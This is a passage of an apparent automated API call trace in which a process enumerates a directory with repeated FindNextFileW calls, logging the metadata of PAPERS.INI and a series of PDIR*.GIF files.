ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3bb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR10F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR11F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR12F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x430d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR13F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR14F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR15F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x399f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR16F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR17F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR18F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR19F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1B.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR20F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR21F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR22F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x313b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR23F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR24F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd51e200, ftCreationTime.dwHighDateTime=0x1bdb5da, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd51e200, ftLastWriteTime.dwHighDateTime=0x1bdb5da, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR25F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1985, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR26F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR27F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28B.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1786, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29B.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x59bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3567a000, ftCreationTime.dwHighDateTime=0x1bdb36e, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3567a000, ftLastWriteTime.dwHighDateTime=0x1bdb36e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2B.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2F.GIF", cAlternateFileName="")) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x52da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x910b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1631, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x95dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x23e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR37F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb819, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR38F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xaf65, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR39F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4647, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, 